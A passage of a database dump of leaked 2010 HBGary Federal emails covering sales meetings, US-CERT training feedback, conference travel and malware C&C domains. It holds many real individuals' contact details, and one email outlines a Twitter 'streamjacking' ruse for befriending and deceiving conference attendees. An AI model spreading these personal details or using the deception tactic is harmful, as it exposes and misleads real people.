[mailto:jcummings@sourcefire.com]\r\n\r\n\r\n\r\n&gt; Sent: Monday, June 28, 2010 9:47 AM\r\n\r\n\r\n\r\n\r\n\r\n&gt; To: Winterfeld, Steven P\r\n(TASC)\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I dunno, we should start pushing now... can you get a description and shit\r\n&gt; so that we can send out to the list...\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:45 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; Do we have a plan?  How many folks do you think we will get if we\r\nannounce\r\n&gt; he will show off HBGary tools?   Would hate to ask him to demo\r\nand have just\r\n&gt; us show up...\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; From: JJ Cummings [mailto:jcummings@sourcefire.com]\r\n&gt; Sent: Monday, June 28, 2010 9:17 AM\r\n&gt;\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt;\r\n&gt; Subject: Re: FW: Hacker Group\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; I think in an upcoming Thurs.. instead of the scheduled Fri we have moved\r\nto\r\n&gt; Thur\r\n&gt;\r\n&gt; On Mon, Jun 28, 2010 at 9:15 AM, Winterfeld, Steven P (TASC)\r\n&gt; &lt;steven.winterfeld@tasc.com&gt;\r\nwrote:\r\n&gt;\r\n&gt; JJ\r\n&gt;\r\n&gt; When do you want to have the next hacker group meeting?  Ted is willing\r\n&gt; to demo his system (think we could use his office to have the meeting\r\n&gt; down town.  It is within walking distance of the bars...\r\n&gt;\r\n&gt; Steve\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Monday, June 28, 2010 8:29 AM\r\n&gt; To: Winterfeld, Steven P (TASC)\r\n&gt; Subject: Hacker Group\r\n&gt;\r\n&gt; Hi Steve,\r\n&gt;\r\n&gt; I&#39;m back in the office and was wondering when your next hacker meeting\r\n&gt; is?  Mark and I need to travel to Sacramento sometime either late this\r\n&gt; week or early next.\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; JJ Cummings\r\n&gt; P: (719) 924-5263\r\n&gt; jj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nJJ Cummings\r\nP: (719) 924-5263\r\njj.cummings@sourcefire.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- JJ CummingsP: (719) 924-5263jj.cummings@sourcefire.com\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',14135,'aaron_hbgary_com/14135.html'),(9644,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007617.M839303P14101Q4499.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Confirming lunch tomorrow','ok cool.\r\n\r\nInteresting thought I had after the Vint Cerft talk at your facility, a new exploitation vector I call streamjacking.  I could do it at ICCS to demonstrate.\r\n\r\nHashtags provide a great mechanism to organize conversation but especially when related to physical events can be used to trick people.  I could right now begin to tweet about being at the ICCS conference using the #ICCS and after enough time begin to friend people at the event.  Peoples guard will be somewhat lowered because I am \"participating\" in the same event they are.... but really I am sitting in a Panera bread in DC.  Social Media is the end of security as we know it. :)\r\n\r\nDon\'t disseminate but Greg and I are starting to write a book on Advanced Threats and the Future of security.  It is purely an intelligence, action, offensive problem.  IT really is fairly irrelevant.\r\n\r\nBTW, what time did we say tomorrow, for some reason I can\'t find the email.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 4, 2010, at 12:13 PM, Matthew Steckman wrote:\r\n\r\n> Yup, got it \r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matthew Steckman\r\n> Subject: Re: Confirming lunch tomorrow\r\n> Sent: Aug 4, 2010 12:12 PM\r\n> \r\n> Speaking of \"Robin\".  Did I send you my social media presentation I gave at REBL?\r\n> \r\n> Aaron\r\n> \r\n> On Aug 4, 2010, at 12:01 PM, Matthew Steckman wrote:\r\n> \r\n>> Want an intro to Tom Ryan? The robin sage guy. \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Sent: Wed Aug 04 08:49:07 2010\r\n>> Subject: Re: Confirming lunch tomorrow\r\n>> \r\n>> Alright.  I love being propositioned.\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n>> \r\n>>> Zollman is going to join, he has a proposition for you...teaser alert!\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4947,'aaron_hbgary_com/4947.html'),(9645,'2010-08-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007618.M346065P14101Q4501.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: GFIRST','I can set up a meeting with the IO Director at MacB, and the 92IOS PM with TASC.TedOn Wed, Aug 4, 2010 at 10:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Bob,\r\n\r\nJust wanted you to be aware that Ted will be going to GFIRST and not me.  I think you guys should coordinate customer and contractor visits to get the most out of the trip.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',8701,'aaron_hbgary_com/8701.html'),(9646,'2010-08-04','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297007618.M576416P14101Q4502.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: C&C','\r\nwww.mypremierfutbol.com\r\nwww.todaysfutbol.com\r\n\r\nI didn\'t run it with an active internet connection, so these domains\r\nwere never resolved to IPs.  Also, I\'m pretty sure these domains are no\r\nlonger active or have been shutdown.\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> Do either you regularly see the Domains By Proxy service in the US used for C&C?  Seems an odd use since it would be easy for US government authorities to get access to the person or at least the Credit Card of the person that registered for the service.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>   \r\n\r\n',6753,'aaron_hbgary_com/6753.html'),(9647,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007618.M60316P14101Q4500.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','GFIRST','Hey Bob,\r\n\r\nJust wanted you to be aware that Ted will be going to GFIRST and not me.  I think you guys should coordinate customer and contractor visits to get the most out of the trip.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8138,'aaron_hbgary_com/8138.html'),(9648,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007618.M838121P14101Q4503.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Re: C&C','\r\nOn Aug 4, 2010, at 1:00 PM, Martin Pillion wrote:\r\n\r\n> \r\n> www.mypremierfutbol.com\r\n> www.todaysfutbol.com\r\n> \r\n> I didn\'t run it with an active internet connection, so these domains\r\n> were never resolved to IPs.  Also, I\'m pretty sure these domains are no\r\n> longer active or have been shutdown.\r\n> \r\n> - Martin\r\n> \r\n> Aaron Barr wrote:\r\n>> Do either you regularly see the Domains By Proxy service in the US used for C&C?  Seems an odd use since it would be easy for US government authorities to get access to the person or at least the Credit Card of the person that registered for the service.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13127,'aaron_hbgary_com/13127.html'),(9649,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007619.M314727P14101Q4504.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','September 9 meeting with US-CERT','Aaron\r\n \r\nI will send a meeting invitation for 10:30.  If I can attend I will -- will need to discuss with Penny.  Phil this would be a good day to schedule the training for the afternoon if it works for you and Sean?\r\n \r\nThe goal is to sell TMC and develop a relationship to exchange malware. \r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16034,'aaron_hbgary_com/16034.html'),(9650,'2010-08-04','Sean.Sobieraj@us-cert.gov','/aaron@hbgary.com/new/1297007619.M556545P14101Q4505.eml','phil@hbgary.com,maria@hbgary.com,phil@hbgary.com,maria@hbgary.com,','RE: HBGary Training Feedback','Thanks Phil, I\'ll let you know as soon as I find out.\r\n\r\nOur address is:\r\n1110 N Glebe Rd.\r\nArlington, VA 22201\r\n\r\nJust take the elevator to the 7th floor lobby and someone will meet you\r\nthere to sign you in at the security desk.  For the visitor requests can\r\nyou send me the names and last 4 SSN of everyone that will be attending?\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:28 PM\r\nTo: Maria Lucas\r\nCc: Sobieraj, Sean C; Copeland, Byron; aaron@hbgary.com; jim@hbgary.com\r\nSubject: Re: HBGary Training Feedback\r\n\r\nYes I am.  Once you know the required paperwork to share samples I can\r\nfacilitate the signing on our side.\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 12:15 PM, Maria Lucas  wrote:\r\n\r\n\r\n	Sean\r\n	 \r\n	Great to hear!\r\n	 \r\n	Let\'s meet on Thursday at 10:30.  I will send you a meeting\r\ninvitation for confirmation.\r\n	 \r\n	Can you please give me your office address?\r\n	 \r\n	Jim Richards is the Training Manager at HBGary he will assist\r\nyou in registering for the \"audit\" or \"repeat\" classes.\r\n	 \r\n	Phil Wallisch is also looking forward to working with you in\r\nyour lab in September.\r\n	 \r\n	Maria\r\n	\r\n	\r\n	On Wed, Aug 4, 2010 at 9:11 AM, \r\nwrote:\r\n	\r\n\r\n\r\n		Thanks Maria, we are looking forward to the additional\r\ntraining.  We\r\n		would like to send at least one person to the class\r\ncoming up on\r\n		September 14-15.  Do you have an updated schedule for\r\nclasses beyond\r\n		that?\r\n		\r\n		Thursday or Friday around the same time should also be\r\nfine.  That might\r\n		actually be better coming off the long weekend.  I don\'t\r\nthink an NDA is\r\n		necessary for the meeting but it may be for sharing\r\nmalware samples.  We\r\n		are working that out.\r\n		\r\n		Thanks,\r\n		Sean\r\n\r\n\r\n\r\n		-----Original Message-----\r\n		From: Maria Lucas [mailto:maria@hbgary.com]\r\n		\r\n		Sent: Tuesday, August 03, 2010 1:20 PM\r\n		To: Sobieraj, Sean C\r\n		Cc: Copeland, Byron; Aaron Barr; Jim Richards\r\n		Subject: Re: HBGary Training Feedback\r\n		\r\n		Hi Sean\r\n		\r\n		Thanks for the feedback!\r\n		\r\n		Jim Richards, Training Manager will be incorporating\r\nyour ideas -- some\r\n		he said are doable.... you should hear from Jim...\r\nSupport is\r\n		researching the ticket and will retrace to see what\r\nhappened on our end.\r\n		\r\n		For additional training, Phil Wallisch said that he will\r\ncall you in\r\n		September and schedule time to work with you and your\r\nteam in the lab.\r\n		Plus, you may repeat the class anytime, or you may send\r\na person to\r\n		audit the next 3 day class and provide feedback...\r\n		\r\n		With regards to the date.  Aaron Barr is available\r\nTuesday for a 10:30\r\n		am meeting.  I would be available if the meeting were\r\nset later in the\r\n		week, but it is reallly Aaron that you need to speak\r\nwith.  Aaron has an\r\n		ISSA Clearance, which equates to ts/sci/g/h.  Did you\r\nwant to have an\r\n		NDA in place for the meeting?\r\n		\r\n		I will also be with Aaron at the GFIRST\r\nconference..........\r\n		\r\n		\r\n		Maria\r\n\r\n\r\n\r\n		On Tue, Aug 3, 2010 at 6:06 AM,\r\n wrote:\r\n		\r\n		\r\n		       Maria,\r\n		\r\n		       Here\'s some feedback regarding the Responder Pro\r\ntraining:\r\n		       - The instructor was very knowledgeable and\r\nhelpful, however\r\n		there was\r\n		       not enough time to cover all the material.  What\r\nwe did cover\r\n		was rushed\r\n		       and other sections were omitted entirely.\r\n		       - There was no thorough review of the lab\r\nexercises.  For some\r\n		we were\r\n		       provided the correct answers and the rest we did\r\nnot review at\r\n		all.\r\n		       - It was not clear what level of experience was\r\nexpected by the\r\n		       students.  There were many with little knowledge\r\nof malware\r\n		analysis who\r\n		       had a hard time following the material, and\r\ndidn\'t understand\r\n		why you\r\n		       would look some places for information and what\r\nmade it\r\n		significant.\r\n		       - Students had to spend time installing programs\r\nand updates and\r\n		       figuring out how to disable the AV after we\r\ndetermined it was\r\n		corrupting\r\n		       the lab files.  This took away from the time\r\ndoing analysis.\r\n		       - The multiple choice quizzes in the lecture\r\nmaterial were not\r\n		helpful.\r\n		       - Although more of an admin issue, the directions\r\nto the class\r\n		had us\r\n		       report to a classroom in a different building\r\nthat apparently\r\n		had not\r\n		       been used for this training in some time.\r\n		\r\n		       Some suggestions:\r\n		       - Increase the length of the course to allow\r\nsufficient time for\r\n		review\r\n		       and discussion of the material.  (I heard it was\r\nchanged to 3\r\n		days.)\r\n		       - Increase the hands-on time so the lab exercises\r\nequal or\r\n		exceed the\r\n		       lecture time.\r\n		       - Step through an entire analysis, including\r\ncompiling the data\r\n		into a\r\n		       report.  A more linear approach to analysis with\r\nsomewhat of a\r\n		decision\r\n		       tree like you mentioned might help people\r\nunderstand the process\r\n		as it\r\n		       relates to Responder Pro when first being\r\nintroduced to it.\r\n		       - Possibly allow an opportunity to analyze\r\nmalware samples\r\n		provided by\r\n		       the students, with the students collaborating on\r\nthe analysis\r\n		and using\r\n		       the techniques taught in class.\r\n		       - A performance evaluation at the conclusion of\r\ntraining.  Not\r\n		multiple\r\n		       choice questions, but a sample requiring\r\nanalysis, with a\r\n		passing grade\r\n		       being a report with the required information.\r\n		\r\n		       As a result of the lack of review and discussion,\r\nand omitted\r\n		lecture\r\n		       material, the class was of little value and\r\ndidn\'t not\r\n		significantly\r\n		       contribute to our ability to use Responder Pro\r\nfor malware\r\n		analysis.\r\n		\r\n		       Unrelated to the class, an analyst here had a\r\npoor experience\r\n		with\r\n		       HBGary\'s technical support.  This person never\r\nreceived an email\r\n		or call\r\n		       about the ticket (#394) until after receiving a\r\nnotification\r\n		that it had\r\n		       been closed without the problem being resolved.\r\nI believe the\r\n		issue was\r\n		       addressed at the class.\r\n		\r\n		       Regarding the Threat Management Center demo, how\r\ndoes early\r\n		September\r\n		       sound?  Maybe sometime after 10am on September\r\n7th?\r\n		\r\n		       Thanks,\r\n		       Sean\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		--\r\n		Maria Lucas, CISSP | Regional Sales Director | HBGary,\r\nInc.\r\n		\r\n		Cell Phone 805-890-0401  Office Phone 301-652-8885 x108\r\nFax:\r\n		240-396-5971\r\n		email: maria@hbgary.com\r\n		\r\n		\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n	-- \r\n	Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n	\r\n	Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax:\r\n240-396-5971\r\n	email: maria@hbgary.com \r\n	\r\n	 \r\n	 \r\n	\r\n\r\n\r\n\r\n\r\n--\r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\nhttps://www.hbgary.com/community/phils-blog/\r\n\r\n',14193,'aaron_hbgary_com/14193.html'),(9651,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007619.M777482P14101Q4506.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Confirming lunch tomorrow','Sounds awesome, need help with a chapter or two...haha\r\n\r\nCome at noon. \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matthew Steckman\r\nSubject: Re: Confirming lunch tomorrow\r\nSent: Aug 4, 2010 12:38 PM\r\n\r\nok cool.\r\n\r\nInteresting thought I had after the Vint Cerft talk at your facility, a new exploitation vector I call streamjacking.  I could do it at ICCS to demonstrate.\r\n\r\nHashtags provide a great mechanism to organize conversation but especially when related to physical events can be used to trick people.  I could right now begin to tweet about being at the ICCS conference using the #ICCS and after enough time begin to friend people at the event.  Peoples guard will be somewhat lowered because I am \"participating\" in the same event they are.... but really I am sitting in a Panera bread in DC.  Social Media is the end of security as we know it. :)\r\n\r\nDon\'t disseminate but Greg and I are starting to write a book on Advanced Threats and the Future of security.  It is purely an intelligence, action, offensive problem.  IT really is fairly irrelevant.\r\n\r\nBTW, what time did we say tomorrow, for some reason I can\'t find the email.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 4, 2010, at 12:13 PM, Matthew Steckman wrote:\r\n\r\n> Yup, got it \r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matthew Steckman\r\n> Subject: Re: Confirming lunch tomorrow\r\n> Sent: Aug 4, 2010 12:12 PM\r\n> \r\n> Speaking of \"Robin\".  Did I send you my social media presentation I gave at REBL?\r\n> \r\n> Aaron\r\n> \r\n> On Aug 4, 2010, at 12:01 PM, Matthew Steckman wrote:\r\n> \r\n>> Want an intro to Tom Ryan? The robin sage guy. \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman\r\n>> Sent: Wed Aug 04 08:49:07 2010\r\n>> Subject: Re: Confirming lunch tomorrow\r\n>> \r\n>> Alright.  I love being propositioned.\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n>> \r\n>>> Zollman is going to join, he has a proposition for you...teaser alert!\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13311,'aaron_hbgary_com/13311.html'),(9652,'2010-08-04','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297007620.M11605P14101Q4507.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: C&C','\r\nOh, oops that was a reply for your other email about the stuxnet IPs, lol.\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> On Aug 4, 2010, at 1:00 PM, Martin Pillion wrote:\r\n>\r\n>   \r\n>> www.mypremierfutbol.com\r\n>> www.todaysfutbol.com\r\n>>\r\n>> I didn\'t run it with an active internet connection, so these domains\r\n>> were never resolved to IPs.  Also, I\'m pretty sure these domains are no\r\n>> longer active or have been shutdown.\r\n>>\r\n>> - Martin\r\n>>\r\n>> Aaron Barr wrote:\r\n>>     \r\n>>> Do either you regularly see the Domains By Proxy service in the US used for C&C?  Seems an odd use since it would be easy for US government authorities to get access to the person or at least the Credit Card of the person that registered for the service.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>       \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>   \r\n\r\n',4922,'aaron_hbgary_com/4922.html'),(9653,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007620.M231362P14101Q4508.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: project x','Dude,What is up with the \"other IP addresses\". &nbsp;What is the relevance/context of those.AaronOn Aug 4, 2010, at 8:54 AM, Rich Cummings wrote:Here are the 2 spreadsheets I was given.&nbsp; There’s&nbsp; a lot of noise in this but I know there are nuggets of gold in there.&nbsp;J&nbsp;From:&nbsp;Michael G. Spohn [mailto:mike@hbgary.com]&nbsp;Sent:&nbsp;Thursday, July 22, 2010 11:42 PMTo:&nbsp;Rich CummingsSubject:&nbsp;Fwd: project x&nbsp;-------- Original Message --------Subject:project xDate:Thu, 22 Jul 2010 20:07:44 -0400From:Anglin, Matthew&nbsp;&lt;Matthew.Anglin@QinetiQ-NA.com&gt;To:Michael G. Spohn&nbsp;&lt;mike@hbgary.com&gt;&nbsp;&nbsp;Matthew AnglinInformation Security Principal, Office of the CSOQinetiQ North America7918 Jones Branch Drive Suite 350Mclean, VA 22102703-752-9569 office, 703-967-2862 cell&nbsp;&lt;cyveillance consolidated.xlsx&gt;&lt;jan - july 2010 ids alerts.xlsx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13498,'aaron_hbgary_com/13498.html'),(9654,'2010-08-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007620.M468820P14101Q4509.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: GFIRST','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nI arrive into San Antonio Monday, Aug 16 at 12:35 pm.&nbsp; Will be\r\nable to meet people that afternoon.&nbsp; Fly leaves Friday at 12:50 so can do\r\nFriday morning appts.&nbsp; &nbsp;&nbsp;According to the exhibit setup and exposition times I\r\nwill be free Tuesday afternoon.&nbsp; \r\n\r\n&nbsp;\r\n\r\nKarl Rasmussen, MITRE\r\n\r\n90TH IOS\r\n\r\nSaid he wants to meet with me.&nbsp; He will be at GFIRST so I\r\nsuggested meeting Tuesday afternoon, but I haven&#8217;t heard from him.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:49 PM\r\nTo: Aaron Barr\r\nCc: Bob Slapnik\r\nSubject: Re: GFIRST\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI can set up a meeting with the IO Director at MacB, and the\r\n92IOS PM with TASC.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Wed, Aug 4, 2010 at 10:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHey Bob,\r\n\r\nJust wanted you to be aware that Ted will be going to GFIRST and not me.\r\n&nbsp;I think you guys should coordinate customer and contractor visits to get\r\nthe most out of the trip.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/04/10\r\n00:45:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15533,'aaron_hbgary_com/15533.html'),(9655,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007620.M686436P14101Q4510.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: GFIRST','I know Rich and the other guy that came from Guidance that left went to see Gen. Lord and his staff. &nbsp;Might be worthwhile seeing if you can re-engage with them down there. &nbsp;At the time AD was not baked and we didn\'t have anything in Social Media, TMC, etc.AaronOn Aug 4, 2010, at 1:53 PM, Bob Slapnik wrote:Ted,&nbsp;I arrive into San Antonio Monday, Aug 16 at 12:35 pm.&nbsp; Will be able to meet people that afternoon.&nbsp; Fly leaves Friday at 12:50 so can do Friday morning appts.&nbsp; &nbsp;&nbsp;According to the exhibit setup and exposition times I will be free Tuesday afternoon.&nbsp;&nbsp;Karl Rasmussen, MITRE90TH IOSSaid he wants to meet with me.&nbsp; He will be at GFIRST so I suggested meeting Tuesday afternoon, but I haven’t heard from him.&nbsp;Bob&nbsp;&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 04, 2010 12:49 PMTo:&nbsp;Aaron BarrCc:&nbsp;Bob SlapnikSubject:&nbsp;Re: GFIRST&nbsp;I can set up a meeting with the IO Director at MacB, and the 92IOS PM with TASC.&nbsp;Ted&nbsp;On Wed, Aug 4, 2010 at 10:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hey Bob,Just wanted you to be aware that Ted will be going to GFIRST and not me. &nbsp;I think you guys should coordinate customer and contractor visits to get the most out of the trip.Aaron BarrCEOHBGary Federal Inc.--&nbsp;Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.comNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/04/10 00:45:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9068,'aaron_hbgary_com/9068.html'),(9656,'2010-08-04','\"Mike Mulville\" <mike@mulville.com>','/aaron@hbgary.com/new/1297007620.M895085P14101Q4511.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Mike Mulville has indicated you are a person they\'ve done business with at SAIC:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Mike Mulville (SAIC Cyber CTO)\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from Mike Mulville\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH MIKE MULVILLE BE A GOOD IDEA?\r\n  Mike Mulville\'s connections could be useful to you After accepting Mike Mulville\'s invitation, check Mike Mulville\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4755,'aaron_hbgary_com/4755.html'),(9657,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007621.M116430P14101Q4512.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Sean.Sobieraj@us-cert.gov\" <sean.sobieraj@us-cert.gov>,byron.copeland@dhs.gov','Invitation: US-CERT HBGary meeting @ Thu Sep 9 10:30am - 11:30am 	(aaron@hbgary.com)',' more details &raquo;US-CERT HBGary meeting \r\n\r\nOur address is:\r\n\r\n1110 N Glebe Rd. Arlington, VA 22201\r\n\r\nJust take the elevator to the 7th floor lobby and someone will meet you\r\nthere to sign you in at the security desk.  For the visitor requests can\r\nyou send me the names and last 4 SSN of everyone that will be attending?\r\n\r\n WhenThu Sep 9 10:30am – 11:30am Eastern TimeWhere1110 N Glebe Rd. Arlington, VA 22201  7th floor lobby sign in  (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;Phil Wallisch&#x2022;Sean.Sobieraj@us-cert.gov&#x2022;byron.copeland@dhs.govGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',12545,'aaron_hbgary_com/12545.html'),(9658,'2010-08-04','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007621.M326683P14101Q4513.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting with Bill','Hi Aaron,\r\n\r\nBill is available the following times next week for a one hour meeting\r\nhere in his Herndon office:\r\n\r\nWed. 8/11 \r\n11am \r\n2pm or after\r\n\r\nThurs. 8/12\r\n2pm or after\r\n\r\nLet me know if any of those times work for you and I will send you an\r\nappointment 